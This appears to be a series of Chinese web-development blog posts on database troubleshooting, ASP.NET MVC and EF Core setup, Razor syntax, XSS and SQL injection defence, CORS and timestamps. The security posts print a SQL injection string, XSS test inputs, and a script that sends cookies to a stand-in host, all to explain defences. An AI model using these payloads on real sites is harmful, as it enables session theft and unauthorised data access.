论坛使用阿里云的 ECS + RDS + OSS 搭建,最近经常隔三差五出现 RDS 的 CPU 和连接数突然满负荷的情况,导致数据库无法连接。这种情况一般会认为是受到了攻击,因为如果是访问量大或者是哪里有慢查询,应该是资源消耗逐步上升直至崩溃的,沿着这个思路去查 Web 日志封 IP,但效果不大,关闭功能、卸载插件也没用。
开启阿里云后台的 SQL 审计,能看到 SQL 查询日志,但是很难找有问题的 SQL。
最终在重启 RDS 后执行以下语句列出所有正在执行或阻塞的语句:
show full processlist在结果列中,Command 为 Query 是正在执行查询操作的语句,发现几乎所有的 SQL 都是:
SELECT * FROM pre_forum_thread WHERE tid>0 AND fid IN('42','95','247','41','567','62','149','229','37','230','93','190','284','75','38','568') AND `fid`<>'546' AND replies > 0 AND displayorder>=0 ORDER BY lastpost DESC LIMIT 10再加上之前出现的情况是,论坛帖子列表和详情页面能正常打开时,论坛首页也不一定能打开,所以基本定位到是“首页四格”的数据库查询导致的。
进入论坛后台首页四格设置,对比了版块 id 后确认了这个 bug。
单独执行该语句大约耗时 5s(主题帖 200 万),设置的缓存时间 10 分钟。
processlist 中看到这些语句的 state 都是 Creating sort index,尝试去掉 ORDER BY 后执行果然只需要 16ms。
5s 内的访客都是从数据库读取的,能处理完就正常,否则累积就导致 RDS 崩溃,每 10 分钟都会重现一次风险。
当然这个问题可以通过添加索引来解决。
今天在逛汽车之家论坛时偶然发现,当选中帖子内容时,部分文字被空缺出来,没有被选中,一开始以为是把部分文字使用图片来代替了,审查元素发现是常见文字使用伪元素来输出,比如“大”字:
<span class="hs_kw10_mainuD"></span>.hs_kw10_mainuD 样式:
.hs_kw10_mainuD::before {
content: "大";
}这样肉眼根本无法察觉,因为不管字体大小、颜色等等都与普通文字一样,这是区别于用图片代替的最大优势,其次还能减少请求数,减少带宽消耗等。
新建项目
使用 VS2017 / VS2015 新建项目 - ASP.NET Web 应用程序 - MVC - 个人身份验证
添加模型
右击 Models 文件夹,添加类 Movie
using System;
using System.Data.Entity;
namespace MvcMovie.Models
{
public class Movie
{
public int ID { get; set; }
public string Title { get; set; }
public DateTime ReleaseDate { get; set; }
public string Genre { get; set; }
public decimal Price { get; set; }
}
public class MovieDBContext : DbContext
{
public DbSet<Movie> Movies { get; set; }
}
}Movie 类表示一部电影,一个对象实例对应数据库中一行,每个属性对应表中一列。
MovieDBContext 代表 EF 数据库上下文,处理抓取、存储、更新。
创建连接字符串和使用 SQL Server
打开 Web.config
在 <configuration /> 中的 <connectionStrings /> 中添加
<add name="MovieDBContext" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename=|DataDirectory|\Movies.mdf;Initial Catalog=Movies;Integrated Security=True" providerName="System.Data.SqlClient" />
name 必须与 DbContext 类的名称匹配(MovieDBContext)
这步将会把数据库文件 Movies.mdf 创建到 App_Data 文件夹中,你也可以使用其它 SQL Server 数据库的连接字符串,简单的方法是:
在“服务器资源管理器”中添加连接
从右击属性中获取连接字符串
从控制器访问模型的数据
右击 Controllers 文件夹添加控制器,选择 包含视图的 MVC 5 控制器(使用 Entity Framework)
模型类:Movie (MvcMovie.Models)
数据上下文类:MovieDBContext (MvcMovie.Models)
F5 运行,访问 /Movies 可添加、查看、编辑、删除影片
添加新字段
设置模型更改的 Code First 迁移
在程序包管理器控制台窗口中,在 PM> 提示符下输入
Enable-Migrations -ContextTypeName MvcMovie.Models.MovieDBContext
在 Migrations 文件夹中新建了 Configurations.cs,打开并在 Seed 方法中加入
context.Movies.AddOrUpdate(i => i.Title,
new Movie
{
Title = "When Harry Met Sally",
ReleaseDate = DateTime.Parse("1989-1-11"),
Genre = "Romantic Comedy",
Price = 7.99M
},
new Movie
{
Title = "Ghostbusters ",
ReleaseDate = DateTime.Parse("1984-3-13"),
Genre = "Comedy",
Price = 8.99M
}
);Seed() 将在每次迁移(PM>update-database)后被调用执行,AddOrUpdate 将执行 upsert 操作(有则 update,无则 insert)
AddOrUpdate 的第一个参数指定用于检查行是否已存在的属性
如果该属性值不唯,则出现异常
序列包含多个元素
创建迁移命令:
PM>add-migration Initial
名称“Initial”是任意的
执行迁移:
PM>update-database
F5 运行将显示种子数据
向 Movie 模型添加 Rating 属性
向 Movie 类添加属性,生成
public string Rating { get; set; }向 Create 和 Edit Action 方法的 Bind 属性添加 Rating
更改各视图支持新的 Rating 属性
此时 F5 运行将提示
System.InvalidOperationException:“支持“MovieDBContext”上下文的模型已在数据库创建后发生更改。请考虑使用 Code First 迁移更新数据库(http://go.microsoft.com/fwlink/?LinkId=238269)。”
要解决错误除了手动往数据库中添加 Rating 字段外可以利用 Code First 迁移:
更新 Migrations\Configuration.cs 给每个 Movie 对象添加一个 Rating 字段
PM>add-migration Rating
名称 Rating 是任意的
创建了 DbMigration 的派生类 Rating,可以看到添加新列的代码
PM>update-database
数据库自动完成了对新字段的添加,当然 update-database 也会把种子数据还原。
参考
Getting Started with ASP.NET MVC 5
本文适用于 EF Core,并非 EF 6.x 及以下。
在本演练中,您将构建一个使用 Entity Framework 执行基本数据访问的 ASP.NET Core MVC 应用程序。您将使用逆向工程基于现有数据库创建实体框架模型。
创建一个新项目
打开 Visual Studio 2017
文件 -> 新建 -> 项目...
从左侧菜单中选择 已安装 -> 模板 -> Visual C# -> Web
选择 ASP.NET Core Web应用程序(.NET Core)项目模板
输入项目名称,然后单击确定
在 ASP.NET Core 1.1 选择 Web 应用程序
确保“身份验证”设置为“不进行身份验证”
点击确定
安装 Entity Framework
要使用 EF Core,请安装目标数据库提供程序的软件包。本演练使用 SQL Server。有关可用提供程序的列表,请参阅 Database Providers(从打开页面的左侧菜单选择相应的数据库)。
工具 -> NuGet 包管理器 -> 管理解决方案的 NuGet 程序包
在“浏览”选项卡中搜索并安装 Microsoft.EntityFrameworkCore.SqlServer
我们将使用一些 Entity Framework 命令从数据库创建模型。所以我们也将安装工具包。
安装 Microsoft.EntityFrameworkCore.SqlServer.Design
安装 Microsoft.EntityFrameworkCore.Tools
模型的反向工程
现在是根据现有数据库创建 EF 模型的时候了。
工具 -> NuGet 包管理器 -> 程序包管理器控制台
运行
Scaffold-DbContext "数据库连接字符串" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models
数据库连接字符串可以从 服务器资源管理器 -> 数据连接,在要连接的数据库上右击属性来获得。
如果您收到以下错误说明,请关闭并重新打开 Visual Studio 后重试。
The term 'Scaffold-DbContext' is not recognized as the name of a cmdlet
逆向工程过程基于现有数据库的模式创建实体类(表名.cs)和派生上下文(库名Context.cs)。
实体类是简单的 C# 对象,表示要查询和保存的数据。
上下文表示与数据库的会话,并允许您查询和保存实体类的实例。
使用依赖注入注册上下文
依赖注入的概念是ASP.NET Core的核心。服务(例如数据库 Context)在应用程序启动期间使用依赖注入进行注册。然后,需要这些服务的组件(例如您的 MVC 控制器)通过构造函数参数或属性提供这些服务。
删除内联上下文配置
打开 Models\库名Context.cs
删除方法 OnConfiguring(...)
添加以下构造函数,这将允许通过依赖注入将配置传递到上下文中
public 库名Context(DbContextOptions<库名Context> options)
: base(options)
{ }在 Startup.cs 中注册和配置上下文
为了使我们的 MVC 控制器使用数据库Context,我们将它注册为一个服务。
打开 Startup.cs
使用 using 语句在文件的开头添加以下内容
using 项目命名空间.Models; using Microsoft.EntityFrameworkCore;
现在我们可以使用 AddDbContext(...)方法将其注册为服务。
找到 ConfigureServices(...)方法
添加以下代码以将上下文注册为服务
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
// Add framework services.
services.AddMvc();
var connection = @"连接字符串";
services.AddDbContext<库名Context>(options => options.UseSqlServer(connection));
}在实际应用程序中,通常将连接字符串放在配置文件中。为了简单起见,我们在代码中定义它。查看如何将连接字符串配置到 appsettings.json 文件中
创建一个控制器
接下来,我们将在我们的项目中启用基架。
右键单击解决方案资源管理器中的 Controllers 文件夹,然后选择添加 -> 控制器...
选择 Full Dependencies(完全依赖),然后单击添加
您可以忽略打开的
ScaffoldingReadMe.txt文件中的指令
现在基架已启用,我们可以为数据表实体构建控制器。
右键单击解决方案资源管理器中的 Controllers 文件夹,然后选择添加 -> 控制器...
选择“视图使用 Entity Framework 的 MVC 控制器”并单击“添加”
设置模型类和数据上下文类
单击添加
运行应用程序
您现在可以运行应用程序以查看它的操作。
调试 -> 开始执行(不调试)
应用程序将在 Web 浏览器中构建和打开
导航到相应的路径
/控制器名单击 Create New
填写表单并单击 Create
EF Core for MySQL
截至 Visual Studio 2017 正式版发布(2017年3月7日),MySQL for Visual Studio(支持)尚不支持 Visual Studio 2017,因此 Visual Studio 2017 的服务器资源管理器不能连接数据源为 MySQL 的数据库,也无法创建和更新可视化模型(.edmx)
NuGet 包 MySql.Data.EntityFrameworkCore 还没有找到 Database First 的 PM 命令,因此不能由 MySQL 数据库生成实体类和上下文
综上,要连接 MySQL 只能用 VS2015,要生成 MySQL 实体类和上下文就不能用 EF Core,暂时使用 EF 6.x 代替(创建 ASP.NET MVC 项目)
EF Core 1.1 未实现
EF Core 1.1 未实现:可视化模型,以查看基于代码的模型的图形表示。
EF Core 1.1 未实现:用于逆向工程的 Visual Studio 向导,允许您在从现有数据库创建模型时可视化地配置连接,选择表等。
EF Core 1.1 未实现:从数据库更新模型,允许从数据库以前反向工程的模型使用对模式所做的更改进行刷新。
补充
如果我们在创建新项目时选择 ASP.NET Core Web应用程序(.NET Framework)项目模板,那么完全按照 Core 的方式来开始(比如选择 NuGet 包的版本),而发布必须是 .NET Framework 环境,而非跨平台。
参考
语法示例
ASPX:
<ul>
<% foreach(var p in products) { %>
<li><%=p.Name%> ($<%=p.Price%>)</li>
<% } %>
</ul>Razor:
<ul>
@foreach(var p in products) {
<li>@p.Name ($@p.Price)</li>
}
</ul>代码块
ASPX: <% int a = 1; %>
Razor: @{ int a = 1; }渲染输出
经过 HTML 编码
ASPX: <span><%: model.Message %></span> Razor: <span>@model.Message</span>
未经 HTML 编码
ASPX: <span><%= model.Message %></span> Razor: <span>@Html.Raw(model.Message)</span>
代码与纯文本混合
ASPX:
<% if(foo) { %>
Plain Text
<% } %>Razor 写法一:多用于多行文本
@if(foo) {
<text>Plain Text</text>
}Razor 写法二:多用于单行文本
@if(foo) {
@:Plain Text
}@ 符号
<span>我在微博上@@了她</span>
自动识别 Email,不需要 @@
940534113@qq.com
显示渲染输出
如果变量被误识别为 Email,可以使用括号包围变量
<span>ISBN@(isbnNumber)</span>
服务端注释
@* 注释内容 *@
渲染输出动态方法
@(MyClass.MyMethod<AType>())
Razor 委托
复用视图逻辑
@{
Func<dynamic, object> b =
@<strong>@item</strong>;
}
@b("Bold this")布局文件 _Layout.cshtml
视图主体区域
@RenderBody()
创建预设区域
@RenderSection("名称", required: false)
使用预设区域
@section 名称 {...}视图入口文件 _ViewStart.cshtml
放置通用视图代码,譬如
@{
Layout = "~/Views/Shared/_Layout.cshtml";
}
视图中可重写覆盖 _ViewStart.cshtml 中的设置,譬如
@{
Layout = null;
}@ViewBag.Title 相当于 @ViewData["Title"]
一款将 ASPX 视图转换为 Razor 视图的软件:razor-converter
ActionResult
ContentResult
EmptyResult
FileResult
HttpStatusCodeResult
HttpNotFoundResult
HttpUnauthorizedResult
JavaScriptResult
JsonResult
RedirectResult
RedirectToRouteResult
ViewResultBase
PartialViewResult
ViewResult
NotFound()
OK(Model)
过滤器
规定请求方式
[HttpPost] [HttpGet]
Action 名称替身(不推荐)
[ActionName("另起一名")]授权验证
[Authorize] [Authorize(Roles="Admin")]
客户端验证
jquery.validate
远程验证
[Remote("验证的 Action 名", "控制器名", ErrorMessage="远程验证未通过")]用于远程验证的 Action 必须是 HttpGet 的,返回 JsonResult。
自验证
结合 ValidationContext 和 ValidationResult
保持视图中代码量最小化:
- 视图中不要含有数据处理的逻辑代码
- 视图中要避免包含大的代码块
- 构建多个视图/局部视图
- 适当使用 @helper 和 @function 语法
尽量使用特定的 Model 代替 ViewData / ViewBag!
@ViewData["Message"] => @Model.Message
Ajax Helper
jquery.unobtrusive-ajax.js
@Ajax.ActionLink("Home", "Index", new AjaxOptions { UpdateTargetId = "main" })
<a data-ajax="true" data-ajax-mode="relace" data-ajax=update="#main" href="/">Home</a>推荐插件
Elmah:记录所有异常日志,便于发现 Bug,提高用户体验
RouteDebugger:查看路由详情
Glimpse:类似浏览器 F12,提供服务端信息
MiniProfiler:监控各环节耗时,找出性能瓶颈
教程
ASP.NET MVC 微软官方文档(英文)(一键翻译即可)
互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
XSS (跨站脚本攻击)虽然手段初级,但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中,默认阻止了表单文本中的危险字符(譬如 HTML 标签),但有时为了功能需求,我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容,那么首先应该使用 JS 将数据进行 HTML 编码。
将以下测试文本填入到多行文本框内:
&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>
或将以下测试文本填入到单行文本框内:
&a=1'">a< /input>b<input value='"c<script>alert(1)</script>
使用 jQuery 异步 POST 方式提交到服务端:
$.post("post.aspx", {
myData: $("#myTextarea").val()
}, function (data) {
console.log(data);
}, 'text');这时,post.aspx 将返回 500 内部服务器错误:
从客户端(......)中检测到有潜在危险的 Request.Form 值。
将提交代码稍作改动,把 POST 数据进行 HTML 编码:
$.post("post.aspx", {
myData: $('<div />').text($("#myTextarea").val()).html()
}, function (data) {
console.log(data);
}, 'text');这样,服务端接收到的 myData 值应该是:
&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>
顺利通过 ValidateRequest 的检验。
我们在服务端对其进行一次 HTML 解码。
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时,去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");客户端的编码和服务端的解码是一对互操作。
我们把用户输入的原始内容存入数据库中。
页面输出时,必须要经过 HTML 编码,否则内容将被解释成 HTML,出现跨站攻击漏洞。下面列出常见的输出到页面的方法(注意区分 <%= 与 <%:,<%# 与 <%#:)。这样,浏览器中查看源代码看到的即是 HTML 编码的内容,渲染后看到的即是原本在输入框中输入的原文。
// WebForm 输出到 div
<div><%: myData %></div>
// WebForm 输出到 pre
<pre><%: myData %></pre>
// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>
// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />
// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>
// WebForm 赋值到 <asp:TextBox /> (不需要手动 HtmlEncode)
input_myData.Text = myData;
// WebForm 绑定到数据控件
<%#: Eval("myData") %>
// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData<%: 会自动替换 " 和 ' 为 " 和 ',不用担心输出到 <input /> 的 value 属性中会产生问题。
如果数据由 <textarea /> 提供并希望在输出时保持换行,那么先执行 HtmlEncode,再替换换行符:
// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", " ").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>
// WebForm 输出到 pre(无须处理换行)
<pre><%: myData %></pre>
// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", " ").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>更特殊的例子:
// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
title: {
text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
},
...
});
// 导出 Excel 时指定文件名(会自动替换非法字符)
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));如果我们使用在线编辑器来编辑我们的内容,需要在浏览输出时实现“所见即所得”,那么就需要将原文输出到源代码,渲染后展示效果:
// ASPX
<%= myData %>
// Razor
@Html.Raw(Model.myData)务必保证是网站编辑人员在授权登录下提交在线编辑器的内容,否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器,如一定要用,必须处理一些危险的标签,参此文。
总结
客户端输入的原文,经过 JS 的 HTML 编码传输到服务器,HTML 解码后存入数据库,读取展示时 HTML 编码输出(在线编辑器的内容不需要编码)。
建议
如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest,不用不是太浪费了?
对于普通的文本框输入,我们省略 JS 端的 HTML 编码,省略服务端的 HTML 解码即可,输出仍然按文中描述处理。
好的用户体验是在 Request.Form["xxx"] 时进行容错处理并返回客户端友好提示。
我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理,以绕过 ValidateRequest。
顺便提一下,千万不要这样写:
<%= Request.QueryString["xxx"] %>千万不要动态拼接 SQL 语句,防止 SQL 注入。
在本教程中,我解释了如何使用 jQuery 和 ASP.NET 发送跨域 AJAX 请求,PHP 开发者请参考此文。
跨域 AJAX 请求有两种方式:
1). 使用 JSONP
2). 使用 CORS(跨源资源共享)
1). 使用 JSONP
我们可以使用 JSONP 发送跨域 AJAX 请求。下面是简单的 JSONP 请求:
$.ajax({
url : "http://xoyozo.net/cross-domain-cors/jsonp.aspx",
dataType:"jsonp",
jsonp:"mycallback",
success:function(data)
{
alert("Name:"+data.name+"nage:"+data.age+"nlocation:"+data.location);
}
});jsonp.aspx 响应是:
mycallback({"name": "Ravishanker", "age": 32, "location": "India"})
当 JSONP 请求成功时,调用 mycallback 函数。
这能在所有浏览器中正常运行,但问题是:JSONP 只支持 GET 方法,不支持 POST 方法。
2). 使用 CORS(跨源资源共享)
出于安全考虑,浏览器不允许跨域 AJAX 请求。仅当服务器指定相同的源安全策略时,才允许跨域请求。常见的异常警告:
You can not send Cross Domain AJAX requests:
XMLHttpRequest cannot load. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin is therefore not allowed access.
阅读更多关于跨源资源共享(CORS):Wiki
要启用 CORS,您需要在服务器中指定以下 HTTP 标头。
Access-Control-Allow-Origin – 允许跨域请求的域的名称。 * 表示允许所有域。
Access-Control-Allow-Methods – 在请求期间可以使用 HTTP 方法的列表。
Access-Control-Allow-Headers – 可以在请求期间使用 HTTP 头列表。
在 ASP.NET 中,您可以使用以下代码设置标头:
Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");CORS 在所有最新的浏览器中正常工作,但不支持 IE8 和 IE9,异常:
You can not send Cross Domain AJAX requests: No Transport
IE8、IE9 使用 window.XDomainRequest 处理 AJAX 请求。我们可以使用这个 jQuery 插件:
https://github.com/MoonScript/jQuery-ajaxTransport-XDomainRequest
为了在 IE 中使用 XDomainRequest,请求必须是:
a). GET 或 POST
数据必须以 Content-Type 为 text/plain 的方式发送
b). HTTP 或 HTTPS
协议必须与调用页面相同
c). 异步
具体步骤:
第一步:在 <head> 中添加脚本
<script type='text/javascript' src="http://cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.1/jquery.xdomainrequest.min.js"></script>
第二步:在 $.ajax 请求中设置 contentType 值 text/plain。
var contentType ="application/x-www-form-urlencoded; charset=utf-8";
if(window.XDomainRequest) // for IE8,IE9
contentType = "text/plain";
$.ajax({
url: "http://xoyozo.net/cross-domain-cors/post.aspx",
data: "name=Ravi&age=12",
type: "POST",
dataType: "json",
contentType: contentType,
success: function(data)
{
alert("Data from Server" + JSON.stringify(data));
},
error: function(jqXHR, textStatus, errorThrown)
{
alert("You can not send Cross Domain AJAX requests: " + errorThrown);
}
});post.aspx 源码:
Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");
NameValueCollection nvc = new NameValueCollection();
// nvc.Add(Request.QueryString);
nvc.Add(Request.Form);
if (nvc.Count == 0)
{
string data = System.Text.Encoding.Default.GetString(Request.BinaryRead(Request.TotalBytes));
nvc = HttpUtility.ParseQueryString(data);
}
string name = nvc["name"];
int age = Convert.ToInt32(nvc["age"]);
UTC(世界协调时间)和 GMT(格林尼治标准时间)都与英国伦敦的本地时间相同。北京是东八区,即 UTC+8 或 GMT+0800
时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。
翻译成程序员语言就是指当前的本地时间与 1970-1-1 0:00:00 UTC 时间换算的本地时间相差的秒数
或者当前的 UTC 时间与 1970-1-1 0:00:00 UTC 时间相差的秒数
以我在北京时间 2000/1/1 8:00:00 站在东八区为例:
在 JS 中:
// 获取当前本地时间: new Date() // 返回:Jan 1 2000 8:00:00 GMT+0800(中国标准时间) // 获取当前 UTC 时间字符串: (Local Time).toUTCString() // 返回:Jan 1 2000 0:00:00 GMT // 初始化一个 UTC 时间 2000-1-1 0:00:00 new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)) // 获取 UTC 时间的本地时间字符串: (UTC Time).toLocaleString() // 本地时间 1970/1/1 8:00:00 的时间戳 new Date(1970, 1 - 1, 1, 8, 0, 0).getTime() / 1000 // 返回:0 // 本地时间 2000/1/1 8:00:00 的时间戳 new Date(2000, 1 - 1, 1, 8, 0, 0).getTime() / 1000 // 返回:946684800 // 本地时间 当前 的时间戳 new Date().getTime() / 1000 // UTC 时间 2000/1/1 0:00:00 的时间戳 new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)).getTime() / 1000 // 或 Date.UTC(2000, 1 - 1, 1, 0, 0, 0) / 1000 // 返回:946684800
在 C# 中:
DateTime 默认的 Kind 是 Local,使用 DateTime.SpecifyKind() 方法可以定义一个 UTC 时间
DateTime.Now 返回当前本地时间
DateTime.UtcNow 返回当前 UTC 时间
// 定义一个本地时间 2000/1/1 8:00:00 new DateTime(2000, 1, 1, 8, 0, 0) // 定义一个 UTC 时间 2000/1/1 0:00:00 DateTime.SpecifyKind(new DateTime(2000, 1, 1), DateTimeKind.Utc) // 将 UTC 时间转化为本地时间 (UTC Time).ToLocalTime() // 将本地时间转化为 UTC 时间 (Local Time).ToUniversalTime()
再次说明,本地时间和 UTC 时间都是 DateTime 对象,关键看定义的时候是 Local 还是 Utc
// 本地时间 1970/1/1 8:00:00 的时间戳 (new DateTime(1970, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds // 返回:0 // 本地时间 2000/1/1 8:00:00 的时间戳 (new DateTime(2000, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds // 返回:946684800 // 本地时间 当前 的时间戳 (DateTime.Now - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds // 将时间戳 946684800 转换为本地时间 DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime().AddSeconds(946684800)
实战:
如果我们要将时间戳精确到毫秒,那么 JS 直接 .getTime() 即可,不需要 / 1000,C# 将它转换为本地时间时用 AddMilliseconds 代替 AddSeconds。
中国跨越了多个时区却统一使用北京时间,所以国内网站只要记录本地时间即可;如果做国际站或者有不同国家的访客,除非全部由服务器端获取时间,否则客户端 JS 的本地时间(非时间戳)都需要转换成 UTC 时间来跟服务端的时间进行运算和保存,推荐使用时间戳在客户端和服务端之间传递,因为时间戳与时区无关,它是两个相同性质的时间(同为本地时间或同为 UTC 时间)的差值。
兼容建议:(2017年初)
连淘宝都放弃 IE6 了,就不需要再坚持了;
IE7 跟错了老大(Vista),已经没有市场了;
当前市场份额最大的操作系统还是 Win7,所以 IE8 是必须要兼容的,就算国人都安装了国产浏览器,内核也未必会升到 IE9-11。
当然每个站的访客群体不同,具体还得参考网站统计数据来确定兼容级别。
为了友好,建议你在不打算兼容的浏览器上提供升级提示和新版下载链接。
如果是纯移动端,那么大胆地用 HTML5 就行了。
以下例举我遇到过的兼容问题:
| 浏览器版本 | 注意事项 |
| IE6-7 | <input type="radio" /> 必须设置 name 才能被选中 |
| IE6-7 | 不支持 console.log |
| IE6-7 | 不支持 JSON.stringify |
| 所有 IE | 不支持 <input /> 新的 type 类型,查看详情 |